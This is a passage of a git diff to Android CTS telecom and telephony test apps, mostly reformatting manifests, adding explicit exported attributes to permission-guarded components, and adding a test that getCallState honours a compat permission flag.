-        <activity android:name="android.telecom.cts.MockDialerActivity">
+        <activity android:name="android.telecom.cts.MockDialerActivity"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.intent.action.DIAL" />
-                <category android:name="android.intent.category.DEFAULT" />
-                <category android:name="android.intent.category.BROWSABLE" />
-                <data android:mimeType="vnd.android.cursor.item/phone" />
-                <data android:mimeType="vnd.android.cursor.item/person" />
+                <action android:name="android.intent.action.DIAL"/>
+                <category android:name="android.intent.category.DEFAULT"/>
+                <category android:name="android.intent.category.BROWSABLE"/>
+                <data android:mimeType="vnd.android.cursor.item/phone"/>
+                <data android:mimeType="vnd.android.cursor.item/person"/>
             </intent-filter>
             <intent-filter>
-                <action android:name="android.intent.action.DIAL" />
-                <category android:name="android.intent.category.DEFAULT" />
-                <category android:name="android.intent.category.BROWSABLE" />
-                <data android:scheme="voicemail" />
+                <action android:name="android.intent.action.DIAL"/>
+                <category android:name="android.intent.category.DEFAULT"/>
+                <category android:name="android.intent.category.BROWSABLE"/>
+                <data android:scheme="voicemail"/>
             </intent-filter>
             <intent-filter>
-                <action android:name="android.intent.action.DIAL" />
-                <category android:name="android.intent.category.DEFAULT" />
+                <action android:name="android.intent.action.DIAL"/>
+                <category android:name="android.intent.category.DEFAULT"/>
             </intent-filter>
             <intent-filter>
-                <action android:name="android.intent.action.VIEW" />
-                <action android:name="android.intent.action.DIAL" />
-                <category android:name="android.intent.category.DEFAULT" />
-                <category android:name="android.intent.category.BROWSABLE" />
-                <data android:scheme="tel" />
+                <action android:name="android.intent.action.VIEW"/>
+                <action android:name="android.intent.action.DIAL"/>
+                <category android:name="android.intent.category.DEFAULT"/>
+                <category android:name="android.intent.category.BROWSABLE"/>
+                <data android:scheme="tel"/>
             </intent-filter>
             <intent-filter>
-                <action android:name="android.intent.action.MAIN" />
-                <category android:name="android.intent.category.DEFAULT" />
-                <category android:name="android.intent.category.LAUNCHER" />
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.intent.category.DEFAULT"/>
+                <category android:name="android.intent.category.LAUNCHER"/>
             </intent-filter>
         </activity>
     </application>
 
     <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
-                     android:targetPackage="android.telecom2.cts"
-                     android:label="CTS tests for android.telecom package">
+         android:targetPackage="android.telecom2.cts"
+         android:label="CTS tests for android.telecom package">
         <meta-data android:name="listener"
-            android:value="com.android.cts.runner.CtsTestRunListener" />
+             android:value="com.android.cts.runner.CtsTestRunListener"/>
     </instrumentation>
 </manifest>
-
diff --git a/tests/tests/telecom2/TEST_MAPPING b/tests/tests/telecom2/TEST_MAPPING
new file mode 100644
index 0000000..b7f7d80
--- /dev/null
+++ b/tests/tests/telecom2/TEST_MAPPING
@@ -0,0 +1,7 @@
+{
+  "presubmit": [
+    {
+      "name": "CtsTelecomTestCases2"
+    }
+  ]
+}
diff --git a/tests/tests/telecom2/src/android/telecom/cts/TelecomManagerNoPermissionsTest.java b/tests/tests/telecom2/src/android/telecom/cts/TelecomManagerNoPermissionsTest.java
index 4b1c7db..9be176b 100644
--- a/tests/tests/telecom2/src/android/telecom/cts/TelecomManagerNoPermissionsTest.java
+++ b/tests/tests/telecom2/src/android/telecom/cts/TelecomManagerNoPermissionsTest.java
@@ -19,7 +19,6 @@
 import android.content.Context;
 import android.telecom.TelecomManager;
 import android.test.InstrumentationTestCase;
-import android.text.TextUtils;
 
 /**
  * Verifies correct operation of TelecomManager APIs when the correct permissions have not been
@@ -36,6 +35,7 @@
         if (!TestUtils.shouldTestTelecom(mContext)) {
             return;
         }
+        TestUtils.PACKAGE = mContext.getPackageName();
         mTelecomManager = (TelecomManager) mContext.getSystemService(Context.TELECOM_SERVICE);
     }
 
@@ -54,4 +54,39 @@
         } catch (SecurityException se) {
         }
     }
+
+    public void testCallStateCompatPermissions() throws Exception {
+        if (!TestUtils.shouldTestTelecom(mContext)) {
+            return;
+        }
+
+        try {
+            TelecomManager tm = mContext.getSystemService(TelecomManager.class);
+            assertNotNull(tm);
+
+            TestUtils.enableCompatCommand(getInstrumentation(),
+                    TestUtils.ENABLE_GET_CALL_STATE_PERMISSION_PROTECTION_STRING);
+            try {
+
+                tm.getCallState();
+                fail("TelecomManager#getCallState must require READ_PHONE_STATE when "
+                        + "TelecomManager#ENABLE_GET_CALL_STATE_PERMISSION_PROTECTION is enabled");
+            } catch (SecurityException e) {
+                // expected
+            }
+
+            TestUtils.disableCompatCommand(getInstrumentation(),
+                    TestUtils.ENABLE_GET_CALL_STATE_PERMISSION_PROTECTION_STRING);
+            try {
+                tm.getCallState();
+            } catch (SecurityException e) {
+                fail("TelecomManager#getCallState must not require READ_PHONE_STATE when "
+                        + "TelecomManager#ENABLE_GET_CALL_STATE_PERMISSION_PROTECTION is "
+                        + "disabled.");
+            }
+        } finally {
+            TestUtils.resetCompatCommand(getInstrumentation(),
+                    TestUtils.ENABLE_GET_CALL_STATE_PERMISSION_PROTECTION_STRING);
+        }
+    }
 }
diff --git a/tests/tests/telecom3/AndroidManifest.xml b/tests/tests/telecom3/AndroidManifest.xml
index c606dcb..351260c 100644
--- a/tests/tests/telecom3/AndroidManifest.xml
+++ b/tests/tests/telecom3/AndroidManifest.xml
@@ -15,73 +15,78 @@
 -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-    package="android.telecom3.cts">
-    <uses-sdk android:minSdkVersion="25" />
-    <uses-permission android:name="android.permission.CALL_PHONE" />>
-    <uses-permission android:name="android.permission.DISABLE_KEYGUARD" />
-    <uses-permission android:name="android.permission.MANAGE_OWN_CALLS" />
-    <uses-permission android:name="android.permission.READ_PHONE_STATE" />
-    <uses-permission android:name="android.permission.REGISTER_CALL_PROVIDER" />
-    <uses-permission android:name="com.android.voicemail.permission.ADD_VOICEMAIL" />
+     package="android.telecom3.cts">
+    <uses-sdk android:minSdkVersion="25"/>
+    <uses-permission android:name="android.permission.CALL_PHONE"/>&gt;
+    <uses-permission android:name="android.permission.DISABLE_KEYGUARD"/>
+    <uses-permission android:name="android.permission.MANAGE_OWN_CALLS"/>
+    <uses-permission android:name="android.permission.READ_PHONE_STATE"/>
+    <uses-permission android:name="android.permission.REGISTER_CALL_PROVIDER"/>
+    <uses-permission android:name="com.android.voicemail.permission.ADD_VOICEMAIL"/>
 
     <application>
-        <uses-library android:name="android.test.runner" />
+        <uses-library android:name="android.test.runner"/>
 
         <service android:name="android.telecom.cts.CtsSelfManagedConnectionService"
-            android:permission="android.permission.BIND_TELECOM_CONNECTION_SERVICE" >
+             android:permission="android.permission.BIND_TELECOM_CONNECTION_SERVICE"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.telecom.ConnectionService" />
+                <action android:name="android.telecom.ConnectionService"/>
             </intent-filter>
         </service>
 
         <service android:name="android.telecom.cts.SelfManagedAwareInCallService"
-            android:permission="android.permission.BIND_INCALL_SERVICE" >
+             android:permission="android.permission.BIND_INCALL_SERVICE"
+             android:exported="true">
             <intent-filter>
                 <action android:name="android.telecom.InCallService"/>
             </intent-filter>
-            <meta-data android:name="android.telecom.IN_CALL_SERVICE_UI" android:value="true" />
-            <meta-data android:name="android.telecom.INCLUDE_EXTERNAL_CALLS" android:value="true" />
-            <meta-data android:name="android.telecom.INCLUDE_SELF_MANAGED_CALLS" android:value="true" />
+            <meta-data android:name="android.telecom.IN_CALL_SERVICE_UI"
+                 android:value="true"/>
+            <meta-data android:name="android.telecom.INCLUDE_EXTERNAL_CALLS"
+                 android:value="true"/>
+            <meta-data android:name="android.telecom.INCLUDE_SELF_MANAGED_CALLS"
+                 android:value="true"/>
         </service>
 
-         <activity android:name="android.telecom.cts.MockDialerActivity">
+         <activity android:name="android.telecom.cts.MockDialerActivity"
+              android:exported="true">
             <intent-filter>
-                <action android:name="android.intent.action.DIAL" />
-                <category android:name="android.intent.category.DEFAULT" />
-                <category android:name="android.intent.category.BROWSABLE" />
-                <data android:mimeType="vnd.android.cursor.item/phone" />
-                <data android:mimeType="vnd.android.cursor.item/person" />
+                <action android:name="android.intent.action.DIAL"/>
+                <category android:name="android.intent.category.DEFAULT"/>
+                <category android:name="android.intent.category.BROWSABLE"/>
+                <data android:mimeType="vnd.android.cursor.item/phone"/>
+                <data android:mimeType="vnd.android.cursor.item/person"/>
             </intent-filter>
             <intent-filter>
-                <action android:name="android.intent.action.DIAL" />
-                <category android:name="android.intent.category.DEFAULT" />
-                <category android:name="android.intent.category.BROWSABLE" />
-                <data android:scheme="voicemail" />
+                <action android:name="android.intent.action.DIAL"/>
+                <category android:name="android.intent.category.DEFAULT"/>
+                <category android:name="android.intent.category.BROWSABLE"/>
+                <data android:scheme="voicemail"/>
             </intent-filter>
             <intent-filter>
-                <action android:name="android.intent.action.DIAL" />
-                <category android:name="android.intent.category.DEFAULT" />
+                <action android:name="android.intent.action.DIAL"/>
+                <category android:name="android.intent.category.DEFAULT"/>
             </intent-filter>
             <intent-filter>
-                <action android:name="android.intent.action.VIEW" />
-                <action android:name="android.intent.action.DIAL" />
-                <category android:name="android.intent.category.DEFAULT" />
-                <category android:name="android.intent.category.BROWSABLE" />
-                <data android:scheme="tel" />
+                <action android:name="android.intent.action.VIEW"/>
+                <action android:name="android.intent.action.DIAL"/>
+                <category android:name="android.intent.category.DEFAULT"/>
+                <category android:name="android.intent.category.BROWSABLE"/>
+                <data android:scheme="tel"/>
             </intent-filter>
             <intent-filter>
-                <action android:name="android.intent.action.MAIN" />
-                <category android:name="android.intent.category.DEFAULT" />
-                <category android:name="android.intent.category.LAUNCHER" />
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.intent.category.DEFAULT"/>
+                <category android:name="android.intent.category.LAUNCHER"/>
             </intent-filter>
         </activity>
     </application>
 
     <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
-                     android:targetPackage="android.telecom3.cts"
-                     android:label="CTS tests for android.telecom package">
+         android:targetPackage="android.telecom3.cts"
+         android:label="CTS tests for android.telecom package">
         <meta-data android:name="listener"
-            android:value="com.android.cts.runner.CtsTestRunListener" />
+             android:value="com.android.cts.runner.CtsTestRunListener"/>
     </instrumentation>
 </manifest>
-
diff --git a/tests/tests/telephony/TestSmsApp/AndroidManifest.xml b/tests/tests/telephony/TestSmsApp/AndroidManifest.xml
index 210a6ee..717437e 100644
--- a/tests/tests/telephony/TestSmsApp/AndroidManifest.xml
+++ b/tests/tests/telephony/TestSmsApp/AndroidManifest.xml
@@ -15,60 +15,62 @@
 -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-          package="android.telephony.cts.sms">
+     package="android.telephony.cts.sms">
 
     <uses-permission android:name="android.permission.READ_SMS"/>
 
     <application android:label="TestSmsApp">
-        <activity
-            android:name="android.telephony.cts.sms.MainActivity"
-            android:exported="true"/>
+        <activity android:name="android.telephony.cts.sms.MainActivity"
+             android:exported="true"/>
 
         <!-- BroadcastReceiver that listens for incoming SMS messages -->
         <receiver android:name=".SmsReceiver"
-                  android:permission="android.permission.BROADCAST_SMS">
+             android:permission="android.permission.BROADCAST_SMS"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.provider.Telephony.SMS_DELIVER" />
+                <action android:name="android.provider.Telephony.SMS_DELIVER"/>
             </intent-filter>
         </receiver>
 
         <!-- BroadcastReceiver that listens for incoming MMS messages -->
         <receiver android:name=".MmsReceiver"
-                  android:permission="android.permission.BROADCAST_WAP_PUSH">
+             android:permission="android.permission.BROADCAST_WAP_PUSH"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.provider.Telephony.WAP_PUSH_DELIVER" />
-                <data android:mimeType="application/vnd.wap.mms-message" />
+                <action android:name="android.provider.Telephony.WAP_PUSH_DELIVER"/>
+                <data android:mimeType="application/vnd.wap.mms-message"/>
             </intent-filter>
         </receiver>
 
         <!-- Activity that allows the user to send new SMS/MMS messages -->
-        <activity android:name=".ComposeSmsActivity" >
+        <activity android:name=".ComposeSmsActivity"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.intent.action.SEND" />
-                <action android:name="android.intent.action.SENDTO" />
-                <category android:name="android.intent.category.DEFAULT" />
-                <category android:name="android.intent.category.BROWSABLE" />
-                <data android:scheme="sms" />
-                <data android:scheme="smsto" />
-                <data android:scheme="mms" />
-                <data android:scheme="mmsto" />
+                <action android:name="android.intent.action.SEND"/>
+                <action android:name="android.intent.action.SENDTO"/>
+                <category android:name="android.intent.category.DEFAULT"/>
+                <category android:name="android.intent.category.BROWSABLE"/>
+                <data android:scheme="sms"/>
+                <data android:scheme="smsto"/>
+                <data android:scheme="mms"/>
+                <data android:scheme="mmsto"/>
             </intent-filter>
         </activity>
 
-        <!-- Service that delivers messages from the phone "quick response" -->
+        <!-- Service that delivers messages from the phone "quick response"
+             -->
         <service android:name=".HeadlessSmsSendService"
-                 android:permission="android.permission.SEND_RESPOND_VIA_MESSAGE"
-                 android:exported="true" >
+             android:permission="android.permission.SEND_RESPOND_VIA_MESSAGE"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.intent.action.RESPOND_VIA_MESSAGE" />
-                <category android:name="android.intent.category.DEFAULT" />
-                <data android:scheme="sms" />
-                <data android:scheme="smsto" />
-                <data android:scheme="mms" />
-                <data android:scheme="mmsto" />
+                <action android:name="android.intent.action.RESPOND_VIA_MESSAGE"/>
+                <category android:name="android.intent.category.DEFAULT"/>
+                <data android:scheme="sms"/>
+                <data android:scheme="smsto"/>
+                <data android:scheme="mms"/>
+                <data android:scheme="mmsto"/>
             </intent-filter>
         </service>
 
     </application>
 </manifest>
-
diff --git a/tests/tests/telephony/TestSmsApp22/AndroidManifest.xml b/tests/tests/telephony/TestSmsApp22/AndroidManifest.xml
index de0047d..0413ffc 100644
--- a/tests/tests/telephony/TestSmsApp22/AndroidManifest.xml
+++ b/tests/tests/telephony/TestSmsApp22/AndroidManifest.xml
@@ -15,62 +15,64 @@
 -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-          package="android.telephony.cts.sms23">
+     package="android.telephony.cts.sms23">
 
     <uses-sdk android:targetSdkVersion="22"/>
 
     <uses-permission android:name="android.permission.READ_SMS"/>
 
     <application android:label="TestSmsApp">
-        <activity
-            android:name="android.telephony.cts.sms23.MainActivity"
-            android:exported="true"/>
+        <activity android:name="android.telephony.cts.sms23.MainActivity"
+             android:exported="true"/>
 
         <!-- BroadcastReceiver that listens for incoming SMS messages -->
         <receiver android:name=".SmsReceiver"
-                  android:permission="android.permission.BROADCAST_SMS">
+             android:permission="android.permission.BROADCAST_SMS"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.provider.Telephony.SMS_DELIVER" />
+                <action android:name="android.provider.Telephony.SMS_DELIVER"/>
             </intent-filter>
         </receiver>
 
         <!-- BroadcastReceiver that listens for incoming MMS messages -->
         <receiver android:name=".MmsReceiver"
-                  android:permission="android.permission.BROADCAST_WAP_PUSH">
+             android:permission="android.permission.BROADCAST_WAP_PUSH"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.provider.Telephony.WAP_PUSH_DELIVER" />
-                <data android:mimeType="application/vnd.wap.mms-message" />
+                <action android:name="android.provider.Telephony.WAP_PUSH_DELIVER"/>
+                <data android:mimeType="application/vnd.wap.mms-message"/>
             </intent-filter>
         </receiver>
 
         <!-- Activity that allows the user to send new SMS/MMS messages -->
-        <activity android:name=".ComposeSmsActivity" >
+        <activity android:name=".ComposeSmsActivity"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.intent.action.SEND" />
-                <action android:name="android.intent.action.SENDTO" />
-                <category android:name="android.intent.category.DEFAULT" />
-                <category android:name="android.intent.category.BROWSABLE" />
-                <data android:scheme="sms" />
-                <data android:scheme="smsto" />
-                <data android:scheme="mms" />
-                <data android:scheme="mmsto" />
+                <action android:name="android.intent.action.SEND"/>
+                <action android:name="android.intent.action.SENDTO"/>
+                <category android:name="android.intent.category.DEFAULT"/>
+                <category android:name="android.intent.category.BROWSABLE"/>
+                <data android:scheme="sms"/>
+                <data android:scheme="smsto"/>
+                <data android:scheme="mms"/>
+                <data android:scheme="mmsto"/>
             </intent-filter>
         </activity>
 
-        <!-- Service that delivers messages from the phone "quick response" -->
+        <!-- Service that delivers messages from the phone "quick response"
+             -->
         <service android:name=".HeadlessSmsSendService"
-                 android:permission="android.permission.SEND_RESPOND_VIA_MESSAGE"
-                 android:exported="true" >
+             android:permission="android.permission.SEND_RESPOND_VIA_MESSAGE"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.intent.action.RESPOND_VIA_MESSAGE" />
-                <category android:name="android.intent.category.DEFAULT" />
-                <data android:scheme="sms" />
-                <data android:scheme="smsto" />
-                <data android:scheme="mms" />
-                <data android:scheme="mmsto" />
+                <action android:name="android.intent.action.RESPOND_VIA_MESSAGE"/>
+                <category android:name="android.intent.category.DEFAULT"/>
+                <data android:scheme="sms"/>
+                <data android:scheme="smsto"/>
+                <data android:scheme="mms"/>
+                <data android:scheme="mmsto"/>
             </intent-filter>
         </service>
 
     </application>
 </manifest>
-
diff --git a/tests/tests/telephony/TestSmsRetrieverApp/Android.bp b/tests/tests/telephony/TestSmsRetrieverApp/Android.bp
index 2ae8c7a..2498bea 100644
--- a/tests/tests/telephony/TestSmsRetrieverApp/Android.bp
+++ b/tests/tests/telephony/TestSmsRetrieverApp/Android.bp
@@ -19,10 +19,14 @@
 android_test {
     name: "TestSmsRetrieverApp",
 
-    srcs: ["src/**/*.kt", "src/**/*.java"],
+    srcs: [
+        "src/**/*.kt",
+        "src/**/*.java",
+    ],
 
     static_libs: [
-        "compatibility-device-util-axt", "hamcrest-library",
+        "compatibility-device-util-axt",
+        "hamcrest-library",
     ],
 
     test_suites: [
diff --git a/tests/tests/telephony/TestSmsRetrieverApp/AndroidManifest.xml b/tests/tests/telephony/TestSmsRetrieverApp/AndroidManifest.xml
index 2ac0079f..3b58119 100644
--- a/tests/tests/telephony/TestSmsRetrieverApp/AndroidManifest.xml
+++ b/tests/tests/telephony/TestSmsRetrieverApp/AndroidManifest.xml
@@ -13,16 +13,17 @@
      See the License for the specific language governing permissions and
      limitations under the License.
 -->
+
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-          package="android.telephony.cts.smsretriever">
+     package="android.telephony.cts.smsretriever">
 
     <application android:label="TestSmsRetrieverApp">
-        <activity
-            android:name="android.telephony.cts.smsretriever.MainActivity"
-            android:exported="true"/>
-	<receiver android:name="android.telephony.cts.smsretriever.SmsRetrieverBroadcastReceiver">
+        <activity android:name="android.telephony.cts.smsretriever.MainActivity"
+             android:exported="true"/>
+	<receiver android:name="android.telephony.cts.smsretriever.SmsRetrieverBroadcastReceiver"
+    	 android:exported="true">
             <intent-filter>
-                <action android:name="android.telephony.cts.action.SMS_RETRIEVED"></action>
+                <action android:name="android.telephony.cts.action.SMS_RETRIEVED"/>
             </intent-filter>
         </receiver>
     </application>
diff --git a/tests/tests/telephony/TestSmsRetrieverApp/src/android/telephony/cts/smsretriever/MainActivity.java b/tests/tests/telephony/TestSmsRetrieverApp/src/android/telephony/cts/smsretriever/MainActivity.java
index 1f89db5..b8eb8bf 100644
--- a/tests/tests/telephony/TestSmsRetrieverApp/src/android/telephony/cts/smsretriever/MainActivity.java
+++ b/tests/tests/telephony/TestSmsRetrieverApp/src/android/telephony/cts/smsretriever/MainActivity.java
@@ -46,7 +46,7 @@
                                 "android.telephony.cts.smsretriever",
                                 "android.telephony.cts.smsretriever.SmsRetrieverBroadcastReceiver"));
         PendingIntent pIntent = PendingIntent.getBroadcast(
-                getApplicationContext(), 0, intent, PendingIntent.FLAG_CANCEL_CURRENT);
+                getApplicationContext(), 0, intent, PendingIntent.FLAG_CANCEL_CURRENT | PendingIntent.FLAG_MUTABLE_UNAUDITED);
         String token = null;
         try {
             token = SmsManager.getDefault().createAppSpecificSmsTokenWithPackageInfo(
diff --git a/tests/tests/telephony/current/Android.bp b/tests/tests/telephony/current/Android.bp
index 1876bc7..48cdfd5 100644
--- a/tests/tests/telephony/current/Android.bp
+++ b/tests/tests/telephony/current/Android.bp
@@ -78,3 +78,11 @@
         "cts-tradefed",
     ],
 }
+
+filegroup {
+    name: "cts-telephony-utils",
+    srcs: [
+        "src/android/telephony/cts/TelephonyUtils.java",
+    ]
+}
+
diff --git a/tests/tests/telephony/current/AndroidManifest.xml b/tests/tests/telephony/current/AndroidManifest.xml
index 9a6b0e2..178f73b 100644
--- a/tests/tests/telephony/current/AndroidManifest.xml
+++ b/tests/tests/telephony/current/AndroidManifest.xml
@@ -15,108 +15,116 @@
 -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-    package="android.telephony.cts">
+     package="android.telephony.cts">
 
-    <uses-permission android:name="android.permission.DISABLE_KEYGUARD" />
-    <uses-permission android:name="android.permission.ACCESS_FINE_LOCATION" />
-    <uses-permission android:name="android.permission.ACCESS_COARSE_LOCATION" />
-    <uses-permission android:name="android.permission.ACCESS_BACKGROUND_LOCATION" />
-    <uses-permission android:name="android.permission.READ_CONTACTS" />
-    <uses-permission android:name="android.permission.WRITE_CONTACTS" />
-    <uses-permission android:name="android.permission.READ_ACTIVE_EMERGENCY_SESSION" />
-    <uses-permission android:name="android.permission.READ_PHONE_STATE" />
-    <uses-permission android:name="android.permission.SEND_SMS" />
-    <uses-permission android:name="android.permission.READ_SMS" />
-    <uses-permission android:name="android.permission.RECEIVE_SMS" />
-    <uses-permission android:name="android.permission.ACCESS_NETWORK_STATE" />
-    <uses-permission android:name="android.permission.ACCESS_WIFI_STATE" />
-    <uses-permission android:name="android.permission.CHANGE_WIFI_STATE" />
-    <uses-permission android:name="android.permission.BLUETOOTH" />
-    <uses-permission android:name="android.permission.INTERACT_ACROSS_USERS" />
-    <uses-permission android:name="android.permission.USE_SIP" />
+    <uses-permission android:name="android.permission.DISABLE_KEYGUARD"/>
+    <uses-permission android:name="android.permission.ACCESS_FINE_LOCATION"/>
+    <uses-permission android:name="android.permission.ACCESS_COARSE_LOCATION"/>
+    <uses-permission android:name="android.permission.ACCESS_BACKGROUND_LOCATION"/>
+    <uses-permission android:name="android.permission.READ_CONTACTS"/>
+    <uses-permission android:name="android.permission.WRITE_CONTACTS"/>
+    <uses-permission android:name="android.permission.READ_CALL_LOG"/>
+    <uses-permission android:name="android.permission.READ_ACTIVE_EMERGENCY_SESSION"/>
+    <uses-permission android:name="android.permission.READ_PHONE_STATE"/>
+    <uses-permission android:name="android.permission.SEND_SMS"/>
+    <uses-permission android:name="android.permission.READ_SMS"/>
+    <uses-permission android:name="android.permission.RECEIVE_SMS"/>
+    <uses-permission android:name="android.permission.RECEIVE_MMS"/>
+    <uses-permission android:name="android.permission.ACCESS_NETWORK_STATE"/>
+    <uses-permission android:name="android.permission.ACCESS_WIFI_STATE"/>
+    <uses-permission android:name="android.permission.CHANGE_WIFI_STATE"/>
+    <uses-permission android:name="android.permission.BLUETOOTH"/>
+    <uses-permission android:name="android.permission.BLUETOOTH_ADMIN"/>
+    <uses-permission android:name="android.permission.BLUETOOTH_ADVERTISE"/>
+    <uses-permission android:name="android.permission.BLUETOOTH_CONNECT"/>
+    <uses-permission android:name="android.permission.BLUETOOTH_SCAN"/>
+    <uses-permission android:name="android.permission.INTERACT_ACROSS_USERS"/>
+    <uses-permission android:name="android.permission.USE_SIP"/>
     <uses-permission android:name="android.telephony.embms.cts.permission.TEST_BROADCAST"/>
     <uses-permission android:name="android.permission.WRITE_EMBEDDED_SUBSCRIPTIONS" />
+    <uses-permission android:name="android.permission.USE_ICC_AUTH_WITH_DEVICE_IDENTIFIER" />
 
     <permission android:name="android.telephony.embms.cts.permission.TEST_BROADCAST"
-                android:protectionLevel="signature"/>
+         android:protectionLevel="signature"/>
     <application>
         <provider android:name="android.telephony.cts.MmsPduProvider"
-                  android:authorities="telephonyctstest"
-                  android:grantUriPermissions="true" />
+             android:authorities="telephonyctstest"
+             android:grantUriPermissions="true"/>
 
         <!-- SmsReceiver, MmsReceiver, ComposeSmsActivity, HeadlessSmsSendService together make
-        this a valid SmsApplication (that can be set as the default SMS app). Although some of these
-        classes don't do anything, they are needed to make this a valid candidate for default SMS
-        app. -->
+                    this a valid SmsApplication (that can be set as the default SMS app). Although some of these
+                    classes don't do anything, they are needed to make this a valid candidate for default SMS
+                    app. -->
         <!-- BroadcastReceiver that listens for incoming SMS messages -->
         <receiver android:name=".SmsReceiver"
-            android:permission="android.permission.BROADCAST_SMS">
+             android:permission="android.permission.BROADCAST_SMS"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.provider.Telephony.SMS_DELIVER" />
+                <action android:name="android.provider.Telephony.SMS_DELIVER"/>
             </intent-filter>
         </receiver>
 
         <!-- BroadcastReceiver that listens for incoming MMS messages -->
         <receiver android:name=".MmsReceiver"
-            android:permission="android.permission.BROADCAST_WAP_PUSH">
+             android:permission="android.permission.BROADCAST_WAP_PUSH"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.provider.Telephony.WAP_PUSH_DELIVER" />
-                <data android:mimeType="application/vnd.wap.mms-message" />
+                <action android:name="android.provider.Telephony.WAP_PUSH_DELIVER"/>
+                <data android:mimeType="application/vnd.wap.mms-message"/>
             </intent-filter>
         </receiver>
 
         <!-- Activity that allows the user to send new SMS/MMS messages -->
-        <activity android:name=".ComposeSmsActivity" >
+        <activity android:name=".ComposeSmsActivity"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.intent.action.SEND" />
-                <action android:name="android.intent.action.SENDTO" />
-                <category android:name="android.intent.category.DEFAULT" />
-                <category android:name="android.intent.category.BROWSABLE" />
-                <data android:scheme="sms" />
-                <data android:scheme="smsto" />
-                <data android:scheme="mms" />
-                <data android:scheme="mmsto" />
+                <action android:name="android.intent.action.SEND"/>
+                <action android:name="android.intent.action.SENDTO"/>
+                <category android:name="android.intent.category.DEFAULT"/>
+                <category android:name="android.intent.category.BROWSABLE"/>
+                <data android:scheme="sms"/>
+                <data android:scheme="smsto"/>
+                <data android:scheme="mms"/>
+                <data android:scheme="mmsto"/>
             </intent-filter>
         </activity>
 
-        <!-- Service that delivers messages from the phone "quick response" -->
+        <!-- Service that delivers messages from the phone "quick response"
+             -->
         <service android:name=".HeadlessSmsSendService"
-            android:permission="android.permission.SEND_RESPOND_VIA_MESSAGE"
-            android:exported="true" >
+             android:permission="android.permission.SEND_RESPOND_VIA_MESSAGE"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.intent.action.RESPOND_VIA_MESSAGE" />
-                <category android:name="android.intent.category.DEFAULT" />
-                <data android:scheme="sms" />
-                <data android:scheme="smsto" />
-                <data android:scheme="mms" />
-                <data android:scheme="mmsto" />
+                <action android:name="android.intent.action.RESPOND_VIA_MESSAGE"/>
+                <category android:name="android.intent.category.DEFAULT"/>
+                <data android:scheme="sms"/>
+                <data android:scheme="smsto"/>
+                <data android:scheme="mms"/>
+                <data android:scheme="mmsto"/>
             </intent-filter>
         </service>
 
-        <service
-          android:name="android.telephony.cts.StubInCallService"
-          android:permission="android.permission.BIND_INCALL_SERVICE">
+        <service android:name="android.telephony.cts.StubInCallService"
+             android:permission="android.permission.BIND_INCALL_SERVICE"
+             android:exported="true">
             <intent-filter>
                 <action android:name="android.telecom.InCallService"/>
             </intent-filter>
-            <meta-data
-              android:name="android.telecom.IN_CALL_SERVICE_UI"
-              android:value="true"/>
+            <meta-data android:name="android.telecom.IN_CALL_SERVICE_UI"
+                 android:value="true"/>
         </service>
 
-        <service
-          android:name=".MockVisualVoicemailService"
-          android:permission="android.permission.BIND_VISUAL_VOICEMAIL_SERVICE"
-          android:exported="true">
+        <service android:name=".MockVisualVoicemailService"
+             android:permission="android.permission.BIND_VISUAL_VOICEMAIL_SERVICE"
+             android:exported="true">
             <intent-filter>
                 <action android:name="android.telephony.VisualVoicemailService"/>
             </intent-filter>
         </service>
 
-        <service
-            android:name=".PermissionlessVisualVoicemailService"
-            android:enabled="false"
-            android:exported="true">
+        <service android:name=".PermissionlessVisualVoicemailService"
+             android:enabled="false"
+             android:exported="true">
             <intent-filter>
                 <action android:name="android.telephony.VisualVoicemailService"/>
             </intent-filter>
@@ -124,34 +132,45 @@
         </service>
 
         <service android:name="com.android.compatibility.common.util.BlockedNumberService"
-                android:exported="true"
-                android:singleUser="true" >
+             android:exported="true"
+             android:singleUser="true">
             <intent-filter>
                 <action android:name="android.telecom.cts.InsertBlockedNumber"/>
                 <action android:name="android.telecom.cts.DeleteBlockedNumber"/>
             </intent-filter>
         </service>
 
-        <service
-            android:name="android.telephony.euicc.cts.MockEuiccService"
-            android:permission="android.permission.BIND_EUICC_SERVICE"
-            android:exported="true">
+        <service android:name="android.telephony.euicc.cts.MockEuiccService"
+             android:permission="android.permission.BIND_EUICC_SERVICE"
+             android:exported="true">
             <intent-filter android:priority="100">
                 <action android:name="android.service.euicc.EuiccService"/>
             </intent-filter>
         </service>
 
         <service android:name="android.telephony.ims.cts.TestImsService"
-                 android:directBootAware="true"
-                 android:persistent="true"
-                 android:permission="android.permission.BIND_IMS_SERVICE">
+             android:directBootAware="true"
+             android:persistent="true"
+             android:permission="android.permission.BIND_IMS_SERVICE"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.telephony.ims.ImsService" />
+                <action android:name="android.telephony.ims.ImsService"/>
+            </intent-filter>
+        </service>
+
+        <service
+            android:name="android.telephony.cts.FakeCarrierMessagingService"
+            android:permission="android.permission.BIND_CARRIER_SERVICES"
+            android:exported="true"
+            android:enabled="true">
+            <intent-filter>
+                <action android:name="android.service.carrier.CarrierMessagingService" />
             </intent-filter>
         </service>
 
         <!-- Activity that allows the user to trigger the UCE APIs -->
-        <activity android:name="android.telephony.ims.cts.UceActivity" >
+        <activity android:name="android.telephony.ims.cts.UceActivity"
+            android:exported="false">
             <intent-filter>
